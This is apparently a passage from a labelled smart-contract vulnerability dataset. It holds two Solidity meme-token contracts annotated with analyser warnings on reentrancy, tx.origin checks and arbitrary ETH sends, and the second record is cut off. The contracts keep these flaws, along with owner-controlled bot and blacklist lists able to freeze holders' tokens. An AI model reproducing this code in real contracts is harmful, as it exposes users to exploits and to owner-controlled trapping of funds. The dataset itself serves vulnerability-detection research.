"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract RUBIO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e2fcca1): RUBIO._taxWallet should be immutable \n\t// Recommendation for e2fcca1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 20a0cb7): RUBIO._initialBuyTax should be constant \n\t// Recommendation for 20a0cb7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b0dbe6): RUBIO._initialSellTax should be constant \n\t// Recommendation for 0b0dbe6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52f933e): RUBIO._reduceBuyTaxAt should be constant \n\t// Recommendation for 52f933e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3eeca5c): RUBIO._reduceSellTaxAt should be constant \n\t// Recommendation for 3eeca5c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a20e5a4): RUBIO._preventSwapBefore should be constant \n\t// Recommendation for a20e5a4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Marco Rubio\";\n\n string private constant _symbol = unicode\"RUBIO\";\n\n uint256 public _maxTxAmount = 20000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53e2c44): RUBIO._taxSwapThreshold should be constant \n\t// Recommendation for 53e2c44: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e40397): RUBIO._maxTaxSwap should be constant \n\t// Recommendation for 1e40397: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private lastExecutedBlockNumber;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 349cfaf): RUBIO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 349cfaf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3330ff3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3330ff3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ff3892c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ff3892c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3330ff3\n\t\t// reentrancy-benign | ID: ff3892c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3330ff3\n\t\t// reentrancy-benign | ID: ff3892c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ae86bc): RUBIO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ae86bc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ff3892c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3330ff3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a511728): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a511728: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: d35fc1f): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for d35fc1f: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ef9f027): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ef9f027: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: d35fc1f\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n require(\n block.number > lastExecutedBlockNumber,\n \"Exceeds the maxWalletSize.\"\n );\n\n\t\t\t\t// reentrancy-events | ID: a511728\n\t\t\t\t// reentrancy-eth | ID: ef9f027\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a511728\n\t\t\t\t\t// reentrancy-eth | ID: ef9f027\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ef9f027\n lastExecutedBlockNumber = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ef9f027\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a511728\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ef9f027\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ef9f027\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a511728\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3330ff3\n\t\t// reentrancy-events | ID: a511728\n\t\t// reentrancy-benign | ID: ff3892c\n\t\t// reentrancy-eth | ID: ef9f027\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 20565c8): RUBIO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 20565c8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3330ff3\n\t\t// reentrancy-events | ID: a511728\n\t\t// reentrancy-eth | ID: ef9f027\n\t\t// arbitrary-send-eth | ID: 20565c8\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d90efe4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d90efe4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 28409fb): RUBIO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 28409fb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d09a880): RUBIO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d09a880: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0a85da6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0a85da6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d90efe4\n\t\t// reentrancy-eth | ID: 0a85da6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d90efe4\n\t\t// unused-return | ID: 28409fb\n\t\t// reentrancy-eth | ID: 0a85da6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d90efe4\n\t\t// unused-return | ID: d09a880\n\t\t// reentrancy-eth | ID: 0a85da6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d90efe4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0a85da6\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10664.sol",
"size_bytes": 20384,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PERCHI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExiled;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 55b06df): PERCHI._taxWallet should be immutable \n\t// Recommendation for 55b06df: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7864b4c): PERCHI._initialBuyTax should be constant \n\t// Recommendation for 7864b4c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16478e9): PERCHI._initialSellTax should be constant \n\t// Recommendation for 16478e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d1e9f0): PERCHI._finalBuyTax should be constant \n\t// Recommendation for 9d1e9f0: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06a7b80): PERCHI._finalSellTax should be constant \n\t// Recommendation for 06a7b80: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 62da44d): PERCHI._reduceBuyTaxAt should be constant \n\t// Recommendation for 62da44d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54bd08b): PERCHI._reduceSellTaxAt should be constant \n\t// Recommendation for 54bd08b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ddd02d): PERCHI._preventSwapBefore should be constant \n\t// Recommendation for 3ddd02d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Perchita\";\n\n string private constant _symbol = unicode\"PERCHI\";\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6c3b1b): PERCHI._taxSwapThreshold should be constant \n\t// Recommendation for e6c3b1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 760d9b6): PERCHI._maxTaxSwap should be constant \n\t// Recommendation for 760d9b6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: b1e3c66): PERCHI.caBlock should be constant \n\t// Recommendation for b1e3c66: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlock = 2;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a2f007): PERCHI.casellLimit should be constant \n\t// Recommendation for 2a2f007: Add the 'constant' attribute to state variables that never change.\n bool public casellLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExiled[owner()] = true;\n\n isExiled[address(this)] = true;\n\n isExiled[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d81eb11): PERCHI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d81eb11: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n mapping(address => bool) public _isBlacklisted;\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 743897b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 743897b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 03e45ec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 03e45ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 743897b\n\t\t// reentrancy-benign | ID: 03e45ec\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 743897b\n\t\t// reentrancy-benign | ID: 03e45ec\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b20d11e): PERCHI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b20d11e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 03e45ec\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 743897b\n emit Approval(owner, spender, amount);\n }\n\n function removeFromBlackList(address account) external onlyOwner {\n _isBlacklisted[account] = false;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8af0308): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8af0308: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 360cdfc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 360cdfc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 450b296): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 450b296: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n !_isBlacklisted[from] && !_isBlacklisted[to],\n \"To/from address is blacklisted\"\n );\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExiled[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExiled[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n casellLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlock, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 8af0308\n\t\t\t\t// reentrancy-eth | ID: 360cdfc\n\t\t\t\t// reentrancy-eth | ID: 450b296\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) 